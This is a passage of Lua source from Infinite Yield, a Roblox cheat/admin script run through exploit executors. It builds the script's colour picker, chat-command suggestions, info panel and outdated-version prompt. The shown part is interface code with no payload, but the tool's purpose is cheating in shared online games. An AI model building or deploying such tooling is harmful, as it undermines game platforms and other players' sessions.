49803924560547),Color3.new(1,0.66666668653488,0.49803924560547),Color3.new(0.33333334326744,1,0.49803924560547),Color3.new(1,1,0.49803924560547),Color3.new(0.33333334326744,0,1),Color3.new(1,0,1),Color3.new(0.33333334326744,0.33333334326744,1),Color3.new(1,0.33333334326744,1),Color3.new(0.33333334326744,0.66666668653488,1),Color3.new(1,0.66666668653488,1),Color3.new(0.33333334326744,1,1),Color3.new(1,1,1)} local customColors = {} local function updateColor(noupdate) local relativeX,relativeY,relativeStripY = 219 - hue*219, 199 - sat*199, 199 - val*199 local hsvColor = Color3.fromHSV(hue,sat,val) if noupdate == 2 or not noupdate then hueInput.Text = tostring(math.ceil(359*hue)) satInput.Text = tostring(math.ceil(255*sat)) valInput.Text = tostring(math.floor(255*val)) end if noupdate == 1 or not noupdate then redInput.Text = tostring(math.floor(255*red)) greenInput.Text = tostring(math.floor(255*green)) blueInput.Text = tostring(math.floor(255*blue)) end chosenColor = Color3.new(red,green,blue) colorScope.Position = UDim2.new(0,relativeX-9,0,relativeY-9) colorStrip.ImageColor3 = Color3.fromHSV(hue,sat,1) colorArrow.Position = UDim2.new(0,-2,0,relativeStripY-4) previewFrame.BackgroundColor3 = chosenColor newMt.Color = chosenColor if newMt.Changed then newMt:Changed(chosenColor) end end local function colorSpaceInput() local relativeX = mouse.X - colorSpace.AbsolutePosition.X local relativeY = mouse.Y - colorSpace.AbsolutePosition.Y if relativeX < 0 then relativeX = 0 elseif relativeX > 219 then relativeX = 219 end if relativeY < 0 then relativeY = 0 elseif relativeY > 199 then relativeY = 199 end hue = (219 - relativeX)/219 sat = (199 - relativeY)/199 local hsvColor = Color3.fromHSV(hue,sat,val) red,green,blue = hsvColor.r,hsvColor.g,hsvColor.b updateColor() end local function colorStripInput() local relativeY = mouse.Y - colorStrip.AbsolutePosition.Y if relativeY < 0 then relativeY = 0 elseif relativeY > 199 then relativeY = 199 end val = (199 - relativeY)/199 local hsvColor = Color3.fromHSV(hue,sat,val) red,green,blue = hsvColor.r,hsvColor.g,hsvColor.b updateColor() end local function hookButtons(frame,func) frame.ArrowFrame.Up.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then frame.ArrowFrame.Up.BackgroundTransparency = 0.5 elseif input.UserInputType == Enum.UserInputType.MouseButton1 then local releaseEvent,runEvent local startTime = tick() local pressing = true local startNum = tonumber(frame.Text) if not startNum then return end releaseEvent = user.InputEnded:Connect(function(input) if input.UserInputType ~= Enum.UserInputType.MouseButton1 then return end releaseEvent:Disconnect() pressing = false end) startNum = startNum + 1 func(startNum) while pressing do if tick()-startTime > 0.3 then startNum = startNum + 1 func(startNum) end wait(0.1) end end end) frame.ArrowFrame.Up.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then frame.ArrowFrame.Up.BackgroundTransparency = 1 end end) frame.ArrowFrame.Down.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then frame.ArrowFrame.Down.BackgroundTransparency = 0.5 elseif input.UserInputType == Enum.UserInputType.MouseButton1 then local releaseEvent,runEvent local startTime = tick() local pressing = true local startNum = tonumber(frame.Text) if not startNum then return end releaseEvent = user.InputEnded:Connect(function(input) if input.UserInputType ~= Enum.UserInputType.MouseButton1 then return end releaseEvent:Disconnect() pressing = false end) startNum = startNum - 1 func(startNum) while pressing do if tick()-startTime > 0.3 then startNum = startNum - 1 func(startNum) end wait(0.1) end end end) frame.ArrowFrame.Down.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then frame.ArrowFrame.Down.BackgroundTransparency = 1 end end) end colorSpace.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 then local releaseEvent,mouseEvent releaseEvent = user.InputEnded:Connect(function(input) if input.UserInputType ~= Enum.UserInputType.MouseButton1 then return end releaseEvent:Disconnect() mouseEvent:Disconnect() end) mouseEvent = user.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then colorSpaceInput() end end) colorSpaceInput() end end) colorStrip.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 then local releaseEvent,mouseEvent releaseEvent = user.InputEnded:Connect(function(input) if input.UserInputType ~= Enum.UserInputType.MouseButton1 then return end releaseEvent:Disconnect() mouseEvent:Disconnect() end) mouseEvent = user.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then colorStripInput() end end) colorStripInput() end end) local function updateHue(str) local num = tonumber(str) if num then hue = math.clamp(math.floor(num),0,359)/359 local hsvColor = Color3.fromHSV(hue,sat,val) red,green,blue = hsvColor.r,hsvColor.g,hsvColor.b hueInput.Text = tostring(hue*359) updateColor(1) end end hueInput.FocusLost:Connect(function() updateHue(hueInput.Text) end) hookButtons(hueInput,updateHue) local function updateSat(str) local num = tonumber(str) if num then sat = math.clamp(math.floor(num),0,255)/255 local hsvColor = Color3.fromHSV(hue,sat,val) red,green,blue = hsvColor.r,hsvColor.g,hsvColor.b satInput.Text = tostring(sat*255) updateColor(1) end end satInput.FocusLost:Connect(function() updateSat(satInput.Text) end) hookButtons(satInput,updateSat) local function updateVal(str) local num = tonumber(str) if num then val = math.clamp(math.floor(num),0,255)/255 local hsvColor = Color3.fromHSV(hue,sat,val) red,green,blue = hsvColor.r,hsvColor.g,hsvColor.b valInput.Text = tostring(val*255) updateColor(1) end end valInput.FocusLost:Connect(function() updateVal(valInput.Text) end) hookButtons(valInput,updateVal) local function updateRed(str) local num = tonumber(str) if num then red = math.clamp(math.floor(num),0,255)/255 local newColor = Color3.new(red,green,blue) hue,sat,val = Color3.toHSV(newColor) redInput.Text = tostring(red*255) updateColor(2) end end redInput.FocusLost:Connect(function() updateRed(redInput.Text) end) hookButtons(redInput,updateRed) local function updateGreen(str) local num = tonumber(str) if num then green = math.clamp(math.floor(num),0,255)/255 local newColor = Color3.new(red,green,blue) hue,sat,val = Color3.toHSV(newColor) greenInput.Text = tostring(green*255) updateColor(2) end end greenInput.FocusLost:Connect(function() updateGreen(greenInput.Text) end) hookButtons(greenInput,updateGreen) local function updateBlue(str) local num = tonumber(str) if num then blue = math.clamp(math.floor(num),0,255)/255 local newColor = Color3.new(red,green,blue) hue,sat,val = Color3.toHSV(newColor) blueInput.Text = tostring(blue*255) updateColor(2) end end blueInput.FocusLost:Connect(function() updateBlue(blueInput.Text) end) hookButtons(blueInput,updateBlue) local colorChoice = Instance.new("TextButton") colorChoice.Name = "Choice" colorChoice.Size = UDim2.new(0,25,0,18) colorChoice.BorderColor3 = Color3.new(96/255,96/255,96/255) colorChoice.Text = "" colorChoice.AutoButtonColor = false local row = 0 local column = 0 for i,v in pairs(basicColors) do local newColor = colorChoice:Clone() newColor.BackgroundColor3 = v newColor.Position = UDim2.new(0,1 + 30*column,0,21 + 23*row) newColor.MouseButton1Click:Connect(function() red,green,blue = v.r,v.g,v.b local newColor = Color3.new(red,green,blue) hue,sat,val = Color3.toHSV(newColor) updateColor() end) newColor.Parent = basicColorsFrame column = column + 1 if column == 6 then row = row + 1 column = 0 end end row = 0 column = 0 for i = 1,12 do local color = customColors[i] or Color3.new(0,0,0) local newColor = colorChoice:Clone() newColor.BackgroundColor3 = color newColor.Position = UDim2.new(0,1 + 30*column,0,20 + 23*row) newColor.MouseButton1Click:Connect(function() local curColor = customColors[i] or Color3.new(0,0,0) red,green,blue = curColor.r,curColor.g,curColor.b hue,sat,val = Color3.toHSV(curColor) updateColor() end) newColor.MouseButton2Click:Connect(function() customColors[i] = chosenColor newColor.BackgroundColor3 = chosenColor end) newColor.Parent = customColorsFrame column = column + 1 if column == 6 then row = row + 1 column = 0 end end pickerTopBar.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 then local releaseEvent,mouseEvent local dragOffX,dragOffY = mouse.X-pickerTopBar.AbsolutePosition.X,mouse.Y-pickerTopBar.AbsolutePosition.Y releaseEvent = user.InputEnded:Connect(function(input) if input.UserInputType ~= Enum.UserInputType.MouseButton1 then return end releaseEvent:Disconnect() mouseEvent:Disconnect() end) mouseEvent = user.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then pickerGui.Position = UDim2.new(0,mouse.X-dragOffX,0,mouse.Y-dragOffY) end end) end end) okButton.MouseButton1Click:Connect(function() if newMt.Confirm then newMt:Confirm(chosenColor) end wait(0.6) pickerGui.Visible = false end) okButton.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then okButton.BackgroundTransparency = 0.4 end end) okButton.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then okButton.BackgroundTransparency = 0 end end) cancelButton.MouseButton1Click:Connect(function() if newMt.Cancel then newMt:Cancel() end wait(0.6) pickerGui.Visible = false end) cancelButton.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then cancelButton.BackgroundTransparency = 0.4 end end) cancelButton.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then cancelButton.BackgroundTransparency = 0 end end) defaultButton.MouseButton1Click:Connect(function() if newMt.Default then newMt:Default() end wait(0.6) pickerGui.Visible = false end) defaultButton.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then defaultButton.BackgroundTransparency = 0.4 end end) defaultButton.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then defaultButton.BackgroundTransparency = 0 end end) updateColor() newMt.SetColor = function(self,color) red,green,blue = color.r,color.g,color.b hue,sat,val = Color3.toHSV(color) updateColor() end return newMt end end local picker = ColorPicker.new() picker.Confirm = function(self,color) PKR:TweenPosition(UDim2.new(0.5, -219, 0, -500), "InOut", "Quart", 0.5, true, nil) SAVEDCOLOR = color updatecolors(color) updatefile() end picker.Changed = function(self,color) updatecolors(color) end picker.Cancel = function(self) PKR:TweenPosition(UDim2.new(0.5, -219, 0, -500), "InOut", "Quart", 0.5, true, nil) updatecolors(SAVEDCOLOR) end picker.Default = function(self) PKR:TweenPosition(UDim2.new(0.5, -219, 0, -500), "InOut", "Quart", 0.5, true, nil) updatecolors(Color3.new(0.121569, 0.121569, 0.121569)) colorR = 0.121569 colorG = 0.121569 colorB = 0.121569 SAVEDCOLOR = Color3.new(0.121569, 0.121569, 0.121569) updatefile() end SAVEDCOLOR = Color3.new(colorR, colorG, colorB) local sugg = Instance.new("ScreenGui") local suggestions = Instance.new("Frame") local Title = Instance.new("TextLabel") local SUG = Instance.new("ScrollingFrame") sugg.Name = "sugg" sugg.Parent = game.CoreGui suggestions.Name = "suggestions" suggestions.Parent = sugg suggestions.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569) suggestions.BackgroundTransparency = 0.5 suggestions.BorderColor3 = Color3.new(0, 0, 0) suggestions.BorderSizePixel = 0 suggestions.ClipsDescendants = true suggestions.Position = UDim2.new(-0.000715821981, 1, 1.03197157, -200) suggestions.Size = UDim2.new(0, 300, 0, 182) Title.Name = "Title" Title.Parent = suggestions Title.BackgroundColor3 = Color3.new(0.639216, 0.635294, 0.647059) Title.BackgroundTransparency = 1 Title.Size = UDim2.new(1, 0, 0, 30) Title.Font = Enum.Font.SourceSansBold Title.FontSize = Enum.FontSize.Size24 Title.Text = "Suggestions" Title.TextColor3 = Color3.new(0.980392, 0.980392, 0.980392) SUG.Name = "SUG" SUG.Parent = suggestions SUG.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667) SUG.BackgroundTransparency = 1 SUG.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667) SUG.BorderSizePixel = 0 SUG.Position = UDim2.new(0, 7, 0, 40) SUG.Size = UDim2.new(0, 293, 0, 130) SUG.BottomImage = "rbxasset://textures/blackBkg_square.png" SUG.CanvasSize = UDim2.new(0, 0, 0, 5160) SUG.MidImage = "rbxasset://textures/blackBkg_square.png" SUG.ScrollBarThickness = 8 SUG.TopImage = "rbxasset://textures/blackBkg_square.png" local CMDsV = CMDsFolder:GetChildren() for i = 1, #CMDsV do local YSize = 25 local Position = ((i * YSize) - YSize) local newcmd = Example:Clone() newcmd.Parent = SUG newcmd.Visible = true newcmd.Position = UDim2.new(0,5,0, Position + 5) newcmd.Text = "" .. CMDsV[i].Value SUG.CanvasSize = UDim2.new(0,0,0, Position + 30) end local CSP2 = game.CoreGui.sugg.suggestions local main2 = CSP2 local frame2 = CSP2:WaitForChild('SUG') Match2 = function(name,str) return name:lower():find(str:lower()) and true end IndexContents2 = function(str,bool) if suggestionstoggle == true then if string.find(str, " ") then game.CoreGui.sugg.suggestions:TweenSize(UDim2.new(0, 300, 0, 0),"Out","Quad",0.2,true) else local Index,SizeY = 0,0 for i,v in next, frame2:GetChildren() do if bool then if Match2(v.Text,str) then game.CoreGui.sugg.suggestions:TweenSize(UDim2.new(0, 300, 0, 200),"Out","Quad",0.3,true) Index = Index + 1 v.Position = UDim2.new(0,0,0,Index*v.AbsoluteSize.Y-v.AbsoluteSize.Y) v.Visible = true SizeY = SizeY + v.AbsoluteSize.Y frame2.CanvasSize = UDim2.new(0,0,0,SizeY) else v.Visible = false end else v.Visible = true SizeY = SizeY + v.AbsoluteSize.Y frame2.CanvasSize = UDim2.new(0,0,0,SizeY) end end end end end IndexContents2('',true) game.CoreGui.sugg.suggestions:TweenSize(UDim2.new(0, 300, 0, 0),"Out","Quad",0.2,true) Loading.ba:TweenSize(UDim2.new(1, 0, 1, 0), "InOut", "Quart", 0.5, true, nil) wait(0.3) wait(0.1) logof:TweenSizeAndPosition(UDim2.new(0,0,0,0),UDim2.new(0.5,0,0.5,0), "Out", "Linear", 0.1) repeat wait() until logof.Size == UDim2.new(0,0,0,0) f:TweenSizeAndPosition(UDim2.new(0,0,0,0),UDim2.new(0.5,0,0.5,0), "Out", "Linear", 0.2) repeat wait() until f.Size == UDim2.new(0,0,0,0) g:Destroy() updatecolors(Color3.new(colorR, colorG, colorB)) wait(0.5) Loading:TweenPosition(UDim2.new(0.25, 0, 1.5, 0), "InOut", "Quart", 0.5, true, nil) wait(0.7) Loading.Parent:Destroy() if gPlayers.LocalPlayer.PlayerGui:FindFirstChild("Chat") and gPlayers.LocalPlayer.PlayerGui.Chat:FindFirstChild("Frame") and gPlayers.LocalPlayer.PlayerGui.Chat.Frame:FindFirstChild("ChatBarParentFrame") and gPlayers.LocalPlayer.PlayerGui.Chat.Frame.ChatBarParentFrame:FindFirstChild("Frame") and gPlayers.LocalPlayer.PlayerGui.Chat.Frame.ChatBarParentFrame.Frame:FindFirstChild("BoxFrame") then chatbox = gPlayers.LocalPlayer.PlayerGui.Chat.Frame.ChatBarParentFrame.Frame.BoxFrame.Frame.ChatBar chatbox.Changed:connect(function (property) if suggestionstoggle == true and property == "Text" then if gPlayers.LocalPlayer.PlayerGui.Chat.Frame.ChatBarParentFrame.Frame.BoxFrame.Frame.ChatBar.Text:lower():sub(1,1) == cmdprefix then IndexContents2(gPlayers.LocalPlayer.PlayerGui.Chat.Frame.ChatBarParentFrame.Frame.BoxFrame.Frame.ChatBar.Text:lower():sub(2),true) else game.CoreGui.sugg.suggestions:TweenSize(UDim2.new(0, 300, 0, 0),"Out","Quad",0.2,true) end end end) coroutine.resume(coroutine.create(function() if script.ClassName == "LocalScript" then game.StarterGui:SetCore("ChatMakeSystemMessage", { Text = "The prefix is '" .. cmdprefix .. "'"; Color = Color3.new(255,255,255); Font = Enum.Font.SourceSans; FontSize = Enum.FontSize.Size24; }) wait(2) game.StarterGui:SetCore("ChatMakeSystemMessage", { Text = "Click IY on the top left to see more options"; Color = Color3.new(255,255,255); Font = Enum.Font.SourceSans; FontSize = Enum.FontSize.Size24; }) end end)) gPlayers.LocalPlayer.PlayerGui.Chat.Frame.ChatChannelParentFrame.Frame_MessageLogDisplay.Scroller.CanvasPosition = Vector2.new(0, 99999999999999999999999999999999999999, 0, 0) else print('Custom chat detected. Will not provide suggestions for the chat.') end quickmenu.sheild.cmds:TweenPosition(UDim2.new(0, 50, 0, -50), "InOut", "Quart", 0.5, true, nil) wait(0.01) quickmenu.sheild.settings:TweenPosition(UDim2.new(0, 146, 0, -50), "InOut", "Quart", 0.5, true, nil) wait(0.01) quickmenu.sheild.updates:TweenPosition(UDim2.new(0, 220, 0, -50), "InOut", "Quart", 0.5, true, nil) wait(0.01) quickmenu.sheild.info:TweenPosition(UDim2.new(0, 290, 0, -50), "InOut", "Quart", 0.5, true, nil) wait(0.01) quickmenu.sheild.mix:TweenPosition(UDim2.new(0, 340, 0, -50), "InOut", "Quart", 0.5, true, nil) wait(0.01) qopen = false quickmenu.MouseButton1Click:connect(function() if qopen == false then NOTIFY.NOTIFY:TweenPosition(UDim2.new(0,0,0,-100), "InOut", "Quart", 0.5, true, nil) quickmenu.sheild.cmds:TweenPosition(UDim2.new(0, 50, 0, 0), "InOut", "Quart", 0.5, true, nil) wait(0.01) quickmenu.sheild.settings:TweenPosition(UDim2.new(0, 146, 0, 0), "InOut", "Quart", 0.5, true, nil) wait(0.01) quickmenu.sheild.updates:TweenPosition(UDim2.new(0, 220, 0, 0), "InOut", "Quart", 0.5, true, nil) wait(0.01) quickmenu.sheild.mix:TweenPosition(UDim2.new(0, 340, 0, 0), "InOut", "Quart", 0.5, true, nil) wait(0.01) MusicPlayer:Hide() quickmenu.sheild.info:TweenPosition(UDim2.new(0, 290, 0, 0), "InOut", "Quart", 0.5, true, nil) wait(0.01) quickmenu.sheild.mix:TweenPosition(UDim2.new(0, 340, 0, 0), "InOut", "Quart", 0.5, true, nil) wait(0.01) qopen = true else quickmenu.sheild.cmds:TweenPosition(UDim2.new(0, 50, 0, -50), "InOut", "Quart", 0.5, true, nil) wait(0.01) quickmenu.sheild.settings:TweenPosition(UDim2.new(0, 146, 0, -50), "InOut", "Quart", 0.5, true, nil) wait(0.01) quickmenu.sheild.updates:TweenPosition(UDim2.new(0, 220, 0, -50), "InOut", "Quart", 0.5, true, nil) wait(0.01) quickmenu.sheild.info:TweenPosition(UDim2.new(0, 290, 0, -50), "InOut", "Quart", 0.5, true, nil) wait(0.01) quickmenu.sheild.mix:TweenPosition(UDim2.new(0, 340, 0, -50), "InOut", "Quart", 0.5, true, nil) wait(0.01) qopen = false if playerenabled == true then MusicPlayer:Show() else NOTIFY.NOTIFY:TweenPosition(UDim2.new(0, 0, 0, -38), "InOut", "Quart", 0.5, true, nil) end end end) quickmenu.sheild.cmds.MouseButton1Click:connect(function() commands() wait(0.2) searchbar() closed = false end) quickmenu.sheild.settings.MouseButton1Click:connect(function() hub() end) infopen = false quickmenu.sheild.info.MouseButton1Click:connect(function() if infopen == false then infopen = true Updates = Instance.new("ScreenGui") dragg = Instance.new("Frame") local PromptDialog = Instance.new("Frame") local ContainerFrame = Instance.new("Frame") local LOG = Instance.new("TextLabel") local PopupText3 = Instance.new("TextLabel") local PopupText4 = Instance.new("TextLabel") local UTDV = Instance.new("TextLabel") local PopupText5 = Instance.new("TextLabel") local shadow = Instance.new("Frame") Exitt = Instance.new("TextButton") local PopupText = Instance.new("TextLabel") local vers = Instance.new("TextLabel") Updates.Name = "Updates" Updates.Parent = game.CoreGui dragg.Name = "drag" dragg.Parent = Updates dragg.Active = true dragg.BackgroundColor3 = Color3.new(1, 1, 1) dragg.BackgroundTransparency = 1 dragg.Draggable = true dragg.Position = UDim2.new(0.5, -225, 0, -400) dragg.Size = UDim2.new(0, 438, 0, 26) PromptDialog.Name = "PromptDialog" PromptDialog.Parent = dragg PromptDialog.BackgroundColor3 = Color3.new(0, 0, 0) PromptDialog.BackgroundTransparency = 1 PromptDialog.BorderSizePixel = 0 PromptDialog.Position = UDim2.new(0, 0, 0, -2) PromptDialog.Size = UDim2.new(0, 438, 0, 300) PromptDialog.ZIndex = 5 ContainerFrame.Name = "ContainerFrame" ContainerFrame.Parent = PromptDialog ContainerFrame.BackgroundColor3 = maincolor ContainerFrame.BackgroundTransparency = 0.5 ContainerFrame.BorderColor3 = Color3.new(0, 0, 0) ContainerFrame.BorderSizePixel = 0 ContainerFrame.Position = UDim2.new(0, 0, 0, 29) ContainerFrame.Size = UDim2.new(1, 0, 0.589999974, 0) ContainerFrame.ZIndex = 5 LOG.Name = "LOG" LOG.Parent = ContainerFrame LOG.BackgroundTransparency = 1 LOG.Position = UDim2.new(0, 8, 0, 100) LOG.Size = UDim2.new(1, -16, 1, 0) LOG.ZIndex = 10 LOG.Font = Enum.Font.SourceSansBold LOG.TextSize = 20 LOG.Text = "Added begone [plr], dummy [name] and nodummies. Fixed the chat scroll side effect, added r15 support to headsize [plr] [num], and fixed a few minor bugs." LOG.TextColor3 = Color3.new(0.97, 0.97, 0.97) LOG.TextStrokeTransparency = 0 LOG.TextWrapped = true LOG.TextYAlignment = Enum.TextYAlignment.Top PopupText3.Name = "PopupText3" PopupText3.Parent = ContainerFrame PopupText3.BackgroundTransparency = 1 PopupText3.Position = UDim2.new(0, 8, 0, 35) PopupText3.Size = UDim2.new(1, -16, 0.100000001, 0) PopupText3.ZIndex = 10 PopupText3.Font = Enum.Font.SourceSansBold PopupText3.FontSize = Enum.FontSize.Size18 PopupText3.Text = "Edge#3467 - Moon#6245 - Unlisting#0179 - bluntboomer#1259" PopupText3.TextColor3 = Color3.new(0.97, 0.97, 0.97) PopupText3.TextScaled = true PopupText3.TextStrokeTransparency = 0 PopupText3.TextWrapped = true PopupText3.TextYAlignment = Enum.TextYAlignment.Top PopupText4.Name = "PopupText4" PopupText4.Parent = ContainerFrame PopupText4.BackgroundTransparency = 1 PopupText4.Position = UDim2.new(0, 8, 0, 50) PopupText4.Size = UDim2.new(1, -16, 0.100000001, 0) PopupText4.ZIndex = 10 PopupText4.Font = Enum.Font.SourceSansBold PopupText4.FontSize = Enum.FontSize.Size18 PopupText4.Text = "infyield.weebly.com - discord.gg/9MByKtG" PopupText4.TextColor3 = Color3.new(0.97, 0.97, 0.97) PopupText4.TextStrokeTransparency = 0 PopupText4.TextWrapped = true PopupText4.TextYAlignment = Enum.TextYAlignment.Top UTDV.Name = "UTDV" UTDV.Parent = ContainerFrame UTDV.BackgroundTransparency = 1 UTDV.Position = UDim2.new(0, 8, 0, 5) UTDV.Size = UDim2.new(1, -16, 0.100000001, 0) UTDV.ZIndex = 10 UTDV.Font = Enum.Font.SourceSansBold UTDV.FontSize = Enum.FontSize.Size28 UTDV.Text = "Up to date version: N/A" UTDV.TextColor3 = Color3.new(0.97, 0.97, 0.97) UTDV.TextStrokeTransparency = 0 UTDV.TextWrapped = true UTDV.TextYAlignment = Enum.TextYAlignment.Top PopupText5.Name = "PopupText5" PopupText5.Parent = ContainerFrame PopupText5.BackgroundTransparency = 1 PopupText5.Position = UDim2.new(0, 8, 0, 70) PopupText5.Size = UDim2.new(1, -16, 0.100000001, 0) PopupText5.ZIndex = 10 PopupText5.Font = Enum.Font.SourceSansBold PopupText5.FontSize = Enum.FontSize.Size28 PopupText5.Text = "Update Log:" PopupText5.TextColor3 = Color3.new(0.97, 0.97, 0.97) PopupText5.TextStrokeTransparency = 0 PopupText5.TextWrapped = true PopupText5.TextYAlignment = Enum.TextYAlignment.Top shadow.Name = "shadow" shadow.Parent = PromptDialog shadow.BackgroundColor3 = maincolor shadow.BackgroundTransparency = 0.30000001192093 shadow.BorderColor3 = Color3.new(0, 0, 0) shadow.BorderSizePixel = 0 shadow.Position = UDim2.new(0, 0, 0.00999999978, 0) shadow.Size = UDim2.new(0, 438, 0, 26) Exitt.Name = "Exit" Exitt.Parent = shadow Exitt.BackgroundColor3 = Color3.new(1, 0, 0) Exitt.BackgroundTransparency = 0.30000001192093 Exitt.BorderColor3 = Color3.new(1, 0, 0) Exitt.BorderSizePixel = 0 Exitt.Position = UDim2.new(0, 415, 0, 3) Exitt.Size = UDim2.new(0, 20, 0, 20) Exitt.FontSize = Enum.FontSize.Size14 Exitt.Text = "" PopupText.Name = "PopupText" PopupText.Parent = shadow PopupText.BackgroundTransparency = 1 PopupText.Position = UDim2.new(0, 61, 0, -2) PopupText.Size = UDim2.new(0.760273993, -16, 1.15384614, 0) PopupText.ZIndex = 110 PopupText.Font = Enum.Font.SourceSansBold PopupText.TextSize = 30 PopupText.Text = "Information" PopupText.TextColor3 = Color3.new(0.97, 0.97, 0.97) PopupText.TextStrokeTransparency = 0 PopupText.TextWrapped = true PopupText.TextYAlignment = Enum.TextYAlignment.Top vers.Name = "vers" vers.Parent = shadow vers.BackgroundTransparency = 1 vers.Position = UDim2.new(0, 8, 0, 2) vers.Size = UDim2.new(0.200913236, -16, 1.11538458, 0) vers.ZIndex = 110 vers.Font = Enum.Font.SourceSansBold vers.TextSize = 20 vers.Text = "v" .. Version vers.TextColor3 = Color3.new(0.97, 0.97, 0.97) vers.TextStrokeTransparency = 0 vers.TextWrapped = true vers.TextXAlignment = Enum.TextXAlignment.Left vers.TextYAlignment = Enum.TextYAlignment.Top if UTD == true then UTDV.Text = "Up to date version: Yes" else UTDV.Text = "Up to date version: No" end end dragg:TweenPosition(UDim2.new(0.5, -225, 0, 100), "InOut", "Quart", 0.5, true, nil) Exitt.MouseButton1Click:connect(function() dragg:TweenPosition(UDim2.new(0.5, -225, 0, -400), "InOut", "Quart", 0.5, true, nil) wait(0.5) infopen = false Updates:Destroy() end) end) quickmenu.sheild.updates.MouseButton1Click:connect(function() serverinfogui() end) end local Asset = game:GetService("MarketplaceService"):GetProductInfo(01203480675) wait(0.3) if Asset.Name == "Infinite Yield " .. Version then UTD = true wait(0.5) run() else UTD = false local Updates = Instance.new("ScreenGui") local PromptDialog = Instance.new("Frame") local shadow = Instance.new("Frame") local Exit = Instance.new("TextButton") local title = Instance.new("TextLabel") local ContainerFrame = Instance.new("Frame") local a = Instance.new("TextLabel") local a2 = Instance.new("TextLabel") local a3 = Instance.new("TextLabel") local a2_2 = Instance.new("TextLabel") local UPDATE = Instance.new("TextButton") local Line = Instance.new("Frame") Updates.Name = "Updates" Updates.Parent = game.CoreGui PromptDialog.Name = "PromptDialog" PromptDialog.Parent = Updates PromptDialog.Active = true PromptDialog.BackgroundColor3 = Color3.new(0, 0, 0) PromptDialog.BackgroundTransparency = 1 PromptDialog.BorderSizePixel = 0 PromptDialog.Position = UDim2.new(0.5, -219, 0, 100) PromptDialog.Size = UDim2.new(0, 438, 0, 300) PromptDialog.ZIndex = 8 shadow.Name = "shadow" shadow.Parent = PromptDialog shadow.BackgroundColor3 = Color3.new(0.639216, 0.631373, 0.647059) shadow.Size = UDim2.new(1, 0, 0.129999995, 0) shadow.ZIndex = 100 shadow.Style = Enum.FrameStyle.DropShadow Exit.Name = "Exit" Exit.Parent = shadow Exit.BackgroundColor3 = Color3.new(1, 0, 0) Exit.BackgroundTransparency = 0.30000001192093 Exit.BorderColor3 = Color3.new(1, 0, 0) Exit.Position = UDim2.new(0, 401, 0, 1) Exit.Size = UDim2.new(0, 20, 0, 20) Exit.ZIndex = 110 Exit.FontSize = Enum.FontSize.Size14 Exit.Text = "" title.Name = "title" title.Parent = shadow title.BackgroundTransparency = 1 title.Position = UDim2.new(0, 8, 0, -4) title.Size = UDim2.new(1, -16, 0.800000012, 0) title.ZIndex = 110 title.Font = Enum.Font.SourceSansBold title.TextSize = 30 title.Text = Asset.Name .. " is available" title.TextColor3 = Color3.new(0.97, 0.97, 0.97) title.TextStrokeTransparency = 0 title.TextWrapped = true title.TextYAlignment = Enum.TextYAlignment.Top ContainerFrame.Name = "ContainerFrame" ContainerFrame.Parent = PromptDialog ContainerFrame.BackgroundColor3 = Color3.new(0.639216, 0.631373, 0.647059) ContainerFrame.Position = UDim2.new(0, 0, 0, 31) ContainerFrame.Size = UDim2.new(1, 0, 0.75, 0) ContainerFrame.ZIndex = 8 ContainerFrame.Style = Enum.FrameStyle.DropShadow a.Name = "a" a.Parent = ContainerFrame a.BackgroundTransparency = 1 a.Position = UDim2.new(0, 8, 0, 50) a.Size = UDim2.new(1, -16, 0.100000001, 0) a.ZIndex = 10 a.Font = Enum.Font.SourceSansBold a.FontSize = Enum.FontSize.Size18 a.Text = "infyield.weebly.com - discord.gg/9MByKtG" a.TextColor3 = Color3.new(0.97, 0.97, 0.97) a.TextStrokeTransparency = 0 a.TextWrapped = true a.TextYAlignment = Enum.TextYAlignment.Top a2.Name = "a2" a2.Parent = ContainerFrame a2.BackgroundTransparency = 1 a2.Position = UDim2.new(0, 8, 0, 5) a2.Size = UDim2.new(1, -16, 0.300000012, 0) a2.ZIndex = 10 a2.Font = Enum.Font.SourceSansBold a2.TextSize = 20 a2.Text = "The version of Infinite Yield you are using is outdated." a2.TextColor3 = Color3.new(0.97, 0.97, 0.97) a2.TextStrokeTransparency = 0 a2.TextWrapped = true a2.TextYAlignment = Enum.TextYAlignment.Top a3.Name = "a3" a3.Parent = ContainerFrame a3.BackgroundTransparency = 1 a3.Position = UDim2.new(0, 8, 0, 25) a3.Size = UDim2.new(1, -16, 0.300000012, 0) a3.ZIndex = 10 a3.Font = Enum.Font.SourceSansBold a3.TextSize = 20 a3.Text = "You can get a new version at one of these 2 sources." a3.TextColor3 = Color3.new(0.97, 0.97, 0.97) a3.TextStrokeTransparency = 0 a3.TextWrapped = true a3.TextYAlignment = Enum.TextYAlignment.Top a2_2.Name = "a2" a2_2.Parent = ContainerFrame a2_2.BackgroundTransparency = 1 a2_2.Position = UDim2.new(0, 8, 0, 92) a2_2.Size = UDim2.new(1, -16, 0.300000012, 0) a2_2.ZIndex = 10 a2_2.Font = Enum.Font.SourceSansBold a2_2.FontSize = Enum.FontSize.Size24 a2_2.Text = "If your exploit supports httpget, you can update now by clicking 'Update'" a2_2.TextColor3 = Color3.new(0.97, 0.97, 0.97) a2_2.TextStrokeTransparency = 0 a2_2.TextWrapped = true a2_2.TextYAlignment = Enum.TextYAlignment.Top UPDATE.Name = 